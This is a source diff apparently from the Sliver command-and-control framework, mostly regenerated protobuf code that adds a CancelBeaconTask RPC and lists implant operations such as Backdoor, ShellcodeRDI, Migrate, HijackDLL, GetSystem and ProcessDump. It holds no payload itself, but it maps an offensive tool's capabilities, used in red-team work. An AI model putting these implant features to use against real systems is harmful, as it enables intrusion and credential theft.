pool = append(pool, cc)
}
}
return pool[insecureRand.Intn(len(pool))]
return pool[insecureRand.Intn(len(pool))]()
}
var (
@@ -46,7 +46,7 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
+1 -1
View File
@@ -1,6 +1,6 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.27.1
// protoc-gen-go v1.26.0
// protoc v3.21.5
// source: clientpb/client.proto
+1 -1
View File
@@ -1,6 +1,6 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.27.1
// protoc-gen-go v1.26.0
// protoc v3.21.5
// source: commonpb/common.proto
+1 -1
View File
@@ -1,6 +1,6 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.27.1
// protoc-gen-go v1.26.0
// protoc v3.21.5
// source: dnspb/dns.proto
+245 -239
View File
@@ -1,6 +1,6 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.27.1
// protoc-gen-go v1.26.0
// protoc v3.21.5
// source: rpcpb/services.proto
@@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
0x74, 0x6f, 0x32, 0xa6, 0x38, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
0x74, 0x6f, 0x32, 0xe6, 0x38, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
@@ -68,6 +68,10 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x14, 0x2e,
0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54,
0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42,
0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x3e, 0x0a, 0x10, 0x43, 0x61, 0x6e,
0x63, 0x65, 0x6c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x14, 0x2e,
0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54,
0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42,
0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, 0x0a, 0x0c, 0x4d, 0x6f, 0x6e,
0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x61, 0x72, 0x74, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d,
0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6f, 0x6d,
@@ -673,243 +677,245 @@ var file_rpcpb_services_proto_depIdxs = []int32{
4, // 8: rpcpb.SliverRPC.RmBeacon:input_type -> clientpb.Beacon
4, // 9: rpcpb.SliverRPC.GetBeaconTasks:input_type -> clientpb.Beacon
5, // 10: rpcpb.SliverRPC.GetBeaconTaskContent:input_type -> clientpb.BeaconTask
0, // 11: rpcpb.SliverRPC.MonitorStart:input_type -> commonpb.Empty
0, // 12: rpcpb.SliverRPC.MonitorStop:input_type -> commonpb.Empty
0, // 13: rpcpb.SliverRPC.GetJobs:input_type -> commonpb.Empty
6, // 14: rpcpb.SliverRPC.KillJob:input_type -> clientpb.KillJobReq
7, // 15: rpcpb.SliverRPC.StartMTLSListener:input_type -> clientpb.MTLSListenerReq
8, // 16: rpcpb.SliverRPC.StartWGListener:input_type -> clientpb.WGListenerReq
9, // 17: rpcpb.SliverRPC.StartDNSListener:input_type -> clientpb.DNSListenerReq
10, // 18: rpcpb.SliverRPC.StartHTTPSListener:input_type -> clientpb.HTTPListenerReq
10, // 19: rpcpb.SliverRPC.StartHTTPListener:input_type -> clientpb.HTTPListenerReq
11, // 20: rpcpb.SliverRPC.StartTCPStagerListener:input_type -> clientpb.StagerListenerReq
11, // 21: rpcpb.SliverRPC.StartHTTPStagerListener:input_type -> clientpb.StagerListenerReq
12, // 22: rpcpb.SliverRPC.LootAdd:input_type -> clientpb.Loot
12, // 23: rpcpb.SliverRPC.LootRm:input_type -> clientpb.Loot
12, // 24: rpcpb.SliverRPC.LootUpdate:input_type -> clientpb.Loot
12, // 25: rpcpb.SliverRPC.LootContent:input_type -> clientpb.Loot
0, // 26: rpcpb.SliverRPC.LootAll:input_type -> commonpb.Empty
12, // 27: rpcpb.SliverRPC.LootAllOf:input_type -> clientpb.Loot
0, // 28: rpcpb.SliverRPC.Hosts:input_type -> commonpb.Empty
13, // 29: rpcpb.SliverRPC.Host:input_type -> clientpb.Host
13, // 30: rpcpb.SliverRPC.HostRm:input_type -> clientpb.Host
14, // 31: rpcpb.SliverRPC.HostIOCRm:input_type -> clientpb.IOC
15, // 32: rpcpb.SliverRPC.Generate:input_type -> clientpb.GenerateReq
16, // 33: rpcpb.SliverRPC.Regenerate:input_type -> clientpb.RegenerateReq
0, // 34: rpcpb.SliverRPC.ImplantBuilds:input_type -> commonpb.Empty
17, // 35: rpcpb.SliverRPC.DeleteImplantBuild:input_type -> clientpb.DeleteReq
0, // 36: rpcpb.SliverRPC.Canaries:input_type -> commonpb.Empty
0, // 37: rpcpb.SliverRPC.GenerateWGClientConfig:input_type -> commonpb.Empty
0, // 38: rpcpb.SliverRPC.GenerateUniqueIP:input_type -> commonpb.Empty
0, // 39: rpcpb.SliverRPC.ImplantProfiles:input_type -> commonpb.Empty
17, // 40: rpcpb.SliverRPC.DeleteImplantProfile:input_type -> clientpb.DeleteReq
18, // 41: rpcpb.SliverRPC.SaveImplantProfile:input_type -> clientpb.ImplantProfile
19, // 42: rpcpb.SliverRPC.MsfStage:input_type -> clientpb.MsfStagerReq
20, // 43: rpcpb.SliverRPC.ShellcodeRDI:input_type -> clientpb.ShellcodeRDIReq
0, // 44: rpcpb.SliverRPC.GetCompiler:input_type -> commonpb.Empty
21, // 45: rpcpb.SliverRPC.ShellcodeEncoder:input_type -> clientpb.ShellcodeEncodeReq
0, // 46: rpcpb.SliverRPC.ShellcodeEncoderMap:input_type -> commonpb.Empty
0, // 47: rpcpb.SliverRPC.Websites:input_type -> commonpb.Empty
22, // 48: rpcpb.SliverRPC.Website:input_type -> clientpb.Website
22, // 49: rpcpb.SliverRPC.WebsiteRemove:input_type -> clientpb.Website
23, // 50: rpcpb.SliverRPC.WebsiteAddContent:input_type -> clientpb.WebsiteAddContent
23, // 51: rpcpb.SliverRPC.WebsiteUpdateContent:input_type -> clientpb.WebsiteAddContent
24, // 52: rpcpb.SliverRPC.WebsiteRemoveContent:input_type -> clientpb.WebsiteRemoveContent
25, // 53: rpcpb.SliverRPC.Ping:input_type -> sliverpb.Ping
26, // 54: rpcpb.SliverRPC.Ps:input_type -> sliverpb.PsReq
27, // 55: rpcpb.SliverRPC.Terminate:input_type -> sliverpb.TerminateReq
28, // 56: rpcpb.SliverRPC.Ifconfig:input_type -> sliverpb.IfconfigReq
29, // 57: rpcpb.SliverRPC.Netstat:input_type -> sliverpb.NetstatReq
30, // 58: rpcpb.SliverRPC.Ls:input_type -> sliverpb.LsReq
31, // 59: rpcpb.SliverRPC.Cd:input_type -> sliverpb.CdReq
32, // 60: rpcpb.SliverRPC.Pwd:input_type -> sliverpb.PwdReq
33, // 61: rpcpb.SliverRPC.Mv:input_type -> sliverpb.MvReq
34, // 62: rpcpb.SliverRPC.Rm:input_type -> sliverpb.RmReq
35, // 63: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq
36, // 64: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq
37, // 65: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq
38, // 66: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq
39, // 67: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq
40, // 68: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq
41, // 69: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq
42, // 70: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq
43, // 71: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq
44, // 72: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq
45, // 73: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq
46, // 74: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq
47, // 75: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq
48, // 76: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq
49, // 77: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq
50, // 78: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq
51, // 79: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq
52, // 80: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq
53, // 81: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq
54, // 82: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq
55, // 83: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq
56, // 84: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq
0, // 85: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty
57, // 86: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq
58, // 87: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq
59, // 88: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq
60, // 89: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq
61, // 90: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq
62, // 91: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq
63, // 92: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq
64, // 93: rpcpb.SliverRPC.Backdoor:input_type -> sliverpb.BackdoorReq
65, // 94: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq
66, // 95: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq
67, // 96: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq
68, // 97: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq
69, // 98: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
70, // 99: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
71, // 100: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
72, // 101: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
73, // 102: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
74, // 103: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
75, // 104: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession
76, // 105: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
77, // 106: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
78, // 107: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
79, // 108: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
80, // 109: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
81, // 110: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
82, // 111: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
83, // 112: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
84, // 113: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
85, // 114: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
86, // 115: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
87, // 116: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
87, // 117: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
88, // 118: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
89, // 119: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
89, // 120: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
90, // 121: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
0, // 122: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
91, // 123: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
92, // 124: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
0, // 125: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
93, // 126: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
0, // 127: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
94, // 128: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
95, // 129: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
4, // 130: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
0, // 131: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
96, // 132: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
5, // 133: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
97, // 134: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
0, // 135: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
98, // 136: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
99, // 137: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
100, // 138: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
101, // 139: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
102, // 140: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
103, // 141: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
103, // 142: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
104, // 143: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
104, // 144: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
12, // 145: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
0, // 146: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
12, // 147: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
12, // 148: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
105, // 149: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
105, // 150: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
106, // 151: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
13, // 152: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
0, // 153: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
0, // 154: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
107, // 155: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
107, // 156: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
108, // 157: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
0, // 158: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
109, // 159: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
110, // 160: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
111, // 161: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
112, // 162: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
0, // 163: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
18, // 164: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
113, // 165: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
114, // 166: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
115, // 167: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
116, // 168: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
117, // 169: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
118, // 170: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
22, // 171: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
0, // 172: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
22, // 173: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
22, // 174: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
22, // 175: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
25, // 176: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
119, // 177: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
120, // 178: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
121, // 179: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
122, // 180: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
123, // 181: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
124, // 182: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
124, // 183: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
125, // 184: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
126, // 185: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
127, // 186: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
128, // 187: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
129, // 188: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
130, // 189: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
131, // 190: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
132, // 191: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
133, // 192: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
134, // 193: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
135, // 194: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
135, // 195: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
135, // 196: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
136, // 197: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
137, // 198: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
138, // 199: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
138, // 200: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
139, // 201: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
140, // 202: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
141, // 203: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
142, // 204: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
143, // 205: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
0, // 206: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
144, // 207: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
145, // 208: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
146, // 209: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
146, // 210: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
146, // 211: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
147, // 212: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
148, // 213: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
149, // 214: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
150, // 215: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
151, // 216: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
152, // 217: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
153, // 218: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
154, // 219: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
155, // 220: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
156, // 221: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
157, // 222: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
158, // 223: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
159, // 224: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
160, // 225: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
74, // 226: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
0, // 227: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
161, // 228: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
162, // 229: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
163, // 230: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
164, // 231: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
164, // 232: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
165, // 233: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
165, // 234: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
166, // 235: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
167, // 236: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
168, // 237: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
169, // 238: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
87, // 239: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
0, // 240: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
88, // 241: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
89, // 242: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
0, // 243: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
90, // 244: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
170, // 245: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
123, // [123:246] is the sub-list for method output_type
0, // [0:123] is the sub-list for method input_type
5, // 11: rpcpb.SliverRPC.CancelBeaconTask:input_type -> clientpb.BeaconTask
0, // 12: rpcpb.SliverRPC.MonitorStart:input_type -> commonpb.Empty
0, // 13: rpcpb.SliverRPC.MonitorStop:input_type -> commonpb.Empty
0, // 14: rpcpb.SliverRPC.GetJobs:input_type -> commonpb.Empty
6, // 15: rpcpb.SliverRPC.KillJob:input_type -> clientpb.KillJobReq
7, // 16: rpcpb.SliverRPC.StartMTLSListener:input_type -> clientpb.MTLSListenerReq
8, // 17: rpcpb.SliverRPC.StartWGListener:input_type -> clientpb.WGListenerReq
9, // 18: rpcpb.SliverRPC.StartDNSListener:input_type -> clientpb.DNSListenerReq
10, // 19: rpcpb.SliverRPC.StartHTTPSListener:input_type -> clientpb.HTTPListenerReq
10, // 20: rpcpb.SliverRPC.StartHTTPListener:input_type -> clientpb.HTTPListenerReq
11, // 21: rpcpb.SliverRPC.StartTCPStagerListener:input_type -> clientpb.StagerListenerReq
11, // 22: rpcpb.SliverRPC.StartHTTPStagerListener:input_type -> clientpb.StagerListenerReq
12, // 23: rpcpb.SliverRPC.LootAdd:input_type -> clientpb.Loot
12, // 24: rpcpb.SliverRPC.LootRm:input_type -> clientpb.Loot
12, // 25: rpcpb.SliverRPC.LootUpdate:input_type -> clientpb.Loot
12, // 26: rpcpb.SliverRPC.LootContent:input_type -> clientpb.Loot
0, // 27: rpcpb.SliverRPC.LootAll:input_type -> commonpb.Empty
12, // 28: rpcpb.SliverRPC.LootAllOf:input_type -> clientpb.Loot
0, // 29: rpcpb.SliverRPC.Hosts:input_type -> commonpb.Empty
13, // 30: rpcpb.SliverRPC.Host:input_type -> clientpb.Host
13, // 31: rpcpb.SliverRPC.HostRm:input_type -> clientpb.Host
14, // 32: rpcpb.SliverRPC.HostIOCRm:input_type -> clientpb.IOC
15, // 33: rpcpb.SliverRPC.Generate:input_type -> clientpb.GenerateReq
16, // 34: rpcpb.SliverRPC.Regenerate:input_type -> clientpb.RegenerateReq
0, // 35: rpcpb.SliverRPC.ImplantBuilds:input_type -> commonpb.Empty
17, // 36: rpcpb.SliverRPC.DeleteImplantBuild:input_type -> clientpb.DeleteReq
0, // 37: rpcpb.SliverRPC.Canaries:input_type -> commonpb.Empty
0, // 38: rpcpb.SliverRPC.GenerateWGClientConfig:input_type -> commonpb.Empty
0, // 39: rpcpb.SliverRPC.GenerateUniqueIP:input_type -> commonpb.Empty
0, // 40: rpcpb.SliverRPC.ImplantProfiles:input_type -> commonpb.Empty
17, // 41: rpcpb.SliverRPC.DeleteImplantProfile:input_type -> clientpb.DeleteReq
18, // 42: rpcpb.SliverRPC.SaveImplantProfile:input_type -> clientpb.ImplantProfile
19, // 43: rpcpb.SliverRPC.MsfStage:input_type -> clientpb.MsfStagerReq
20, // 44: rpcpb.SliverRPC.ShellcodeRDI:input_type -> clientpb.ShellcodeRDIReq
0, // 45: rpcpb.SliverRPC.GetCompiler:input_type -> commonpb.Empty
21, // 46: rpcpb.SliverRPC.ShellcodeEncoder:input_type -> clientpb.ShellcodeEncodeReq
0, // 47: rpcpb.SliverRPC.ShellcodeEncoderMap:input_type -> commonpb.Empty
0, // 48: rpcpb.SliverRPC.Websites:input_type -> commonpb.Empty
22, // 49: rpcpb.SliverRPC.Website:input_type -> clientpb.Website
22, // 50: rpcpb.SliverRPC.WebsiteRemove:input_type -> clientpb.Website
23, // 51: rpcpb.SliverRPC.WebsiteAddContent:input_type -> clientpb.WebsiteAddContent
23, // 52: rpcpb.SliverRPC.WebsiteUpdateContent:input_type -> clientpb.WebsiteAddContent
24, // 53: rpcpb.SliverRPC.WebsiteRemoveContent:input_type -> clientpb.WebsiteRemoveContent
25, // 54: rpcpb.SliverRPC.Ping:input_type -> sliverpb.Ping
26, // 55: rpcpb.SliverRPC.Ps:input_type -> sliverpb.PsReq
27, // 56: rpcpb.SliverRPC.Terminate:input_type -> sliverpb.TerminateReq
28, // 57: rpcpb.SliverRPC.Ifconfig:input_type -> sliverpb.IfconfigReq
29, // 58: rpcpb.SliverRPC.Netstat:input_type -> sliverpb.NetstatReq
30, // 59: rpcpb.SliverRPC.Ls:input_type -> sliverpb.LsReq
31, // 60: rpcpb.SliverRPC.Cd:input_type -> sliverpb.CdReq
32, // 61: rpcpb.SliverRPC.Pwd:input_type -> sliverpb.PwdReq
33, // 62: rpcpb.SliverRPC.Mv:input_type -> sliverpb.MvReq
34, // 63: rpcpb.SliverRPC.Rm:input_type -> sliverpb.RmReq
35, // 64: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq
